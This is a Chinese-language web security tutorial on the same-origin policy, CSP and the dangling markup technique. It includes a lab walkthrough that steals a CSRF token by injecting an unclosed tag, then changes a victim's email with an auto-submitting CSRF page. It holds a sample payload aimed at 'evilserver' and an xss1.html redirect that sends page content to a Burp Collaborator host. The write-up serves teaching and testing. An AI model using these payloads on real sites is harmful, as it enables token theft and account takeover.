同源策略(Same Origin Policy)
同源策略是一種約定, 他是瀏覽器最核心也是最基本的安全功能。如果缺少了同源策略, 瀏覽器的正常功能可能會受到影響, 比如XSS、CSRF攻擊等。
瀏覽器的同源策略, 限制了來自不同源的"document" 或者腳本, 對當前的"document"讀取或設置某些屬性。.
這一策略極其重要, 設想一下, 如果沒有同源策略, 可能 example1.com 的一段JavaScript腳本, 在example2.com未曾加載此腳本時, 也可以隨意塗改example2.com的頁面, 爲了不讓瀏覽器的頁面行爲發生混亂, 瀏覽器增加了"Origin"(源)這一概念, 來自不同Origin的對象無法相互干擾。
CSP(Content-Security-Policy)
在Firefox4中推出了CSP(Content-Security-Policy)。這一策略的做法是由服務器端返回一個HTTP頭, 並在其中描述頁面應該遵守的安全策略:
X-Content-Security-Policy: allow 'self' *.example.com
瀏覽器將信任來自其子域以及example.com下的內容。
又如:
X-Content-Security-Policy: allow 'self'; img-src *; script-src www.example.com
瀏覽器除了信任自身的來源以外, 還可以加載任意域的圖片, 來自www.example.com的腳本, 其他的則一律拒絕。
CSP的設計無疑是出色的, 但是CSP的規則配置較爲複雜, 在頁面較多的情況下, 很難一個個配置起來, 且後期的維護成本也非常巨大, 從而導致CSP未能得到很好的推廣。
Dangling markup技術
Dangling markup技術, 是一種無需腳本即可竊取頁面內容的技術,它使用圖像等資源(結合CSP運行的策略)將數據發送到攻擊者控制的遠程位置。當反射型XSS不工作或被內容安全策略(CSP)阻止時,它非常有用。其思想是插入一些未完成狀態的部分HTML,例如圖像標記的src屬性,頁面上的其餘標記關閉該屬性,但同時將兩者之間的數據(包含竊取頁面的內容)發送到遠程服務器。
例如,我們在反射型XSS注入點上注入這樣一個img標籤:
<img src="https://evilserver/?
則注入點和下一個雙引號的代碼將會發送到攻擊者的 https://evilserver 服務器, 其中被髮送的代碼或者內容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。
實戰1
在一個修改用戶郵件的頁面, 目標是完成CSRF修改任意用戶的郵箱到指定的郵箱:
發現html源碼中email參數在URL中可控:
於是成功繞出value屬性的閉合, 但是並不會加載注入的xss代碼:
懷疑可能是由於CSP策略, js腳本被阻斷了:
可以看到CSP策略規定了只能加載子域下的資源以及腳本, 還運行了所有域的圖片資源。
所以剛剛的js代碼就不能加載, 因爲CSP策略只允許加載當前域下的js腳本。
再看看修改郵箱的URL:
是一個POST請求, 提交了email和csrf值, 只要我們能夠竊取用戶的csrf值, 就可以達到任意修改用戶郵箱地址的目的。
思路
1. 先盜取用戶的Anti-Token值
2. 在竊取成功指定用戶的Token後, 發送一個自動POST修改郵箱操作的html頁面給用戶, 從而完成攻擊。
明確思路之後, 首先開始第一點:
- 竊取用戶的Anti-Token值
這裏就利用到 Dangling markup技術 配合 反射型XSS漏洞 組合拳了,
觀察反射型XSS的注入點, 發現注入點下面就有Anti-Token值:
這樣就可以用Dangling markup技術來將Token值發送到攻擊者的服務器上,
具體的做法就是寫一個html頁面, 這個頁面的功能是用Dangling markup技術將Token值發送到攻擊者服務器上, 將這個html頁面發送給受害者即可:
xss1.html
<script>
location='https://acf81f431ed1930580b8083c005e006a.web-security-academy.net/email?email=123%22%3E%3Ctable%20background=%27//vhgd4ppjyxk6pkfjbk3lbmombdh35s.burpcollaborator.net?';
</script>
https://acf81f431ed1930580b8083c005e006a.web-security-academy.net/email?email= 爲受害者服務器的反射型XSS注入點;
vhgd4ppjyxk6pkfjbk3lbmombdh35s.burpcollaborator.net 爲攻擊者的服務器, 竊取的Token將發送到這裏。
爲什麼可以竊取到Token呢?
這就要歸功與Dangling markup技術了, 我們觀察注入之後的網頁源碼:
在background值的後面, 利用了?符合將後面的頁面代碼或者頁面內容都作爲URL的一部分解析了; 同時, 攻擊者服務器vhgd4ppjyxk6pkfjbk3lbmombdh35s.burpcollaborator.net 同步記錄者所有來自任何服務器的請求記錄, 並且! (劃重點) 竊取的內容被作爲參數傳入了URL中, 成爲了解析參數的一部分, 竊取的值將會出現在攻擊者服務器的記錄中!
我們用Burpsuite自帶的 Burp Collaborator client 作爲一個攻擊者服務器, 它會自動記錄來自任何服務器的請求/解析記錄:
加入我們利用剛剛的做法, 在 Burp Collaborator client中就可以看到請求/解析記錄了:
驗證成功後, 就把 ss1.html 發送給受害者, 當受害者點擊後就可以自動竊取該用戶的Token值了:
拿到Token值: EkTfPv60Q6WCl8vmr5y8Y7uceYlZ8w46然後就可以進行第二步
- 發送一個自動POST修改郵箱操作的html頁面給用戶
這裏我們用Burpsuite自帶的POC生成工具
抓包修改郵箱的包:
自動生成CSRF的POC:
將csrf的值改爲剛剛竊取到的Token值, 並且修改要修改的郵箱爲惡意郵箱;
再選擇自動提交, Regenerate 頁面:
最後將此頁面發送給受害者即可自動完成修改郵箱的攻擊: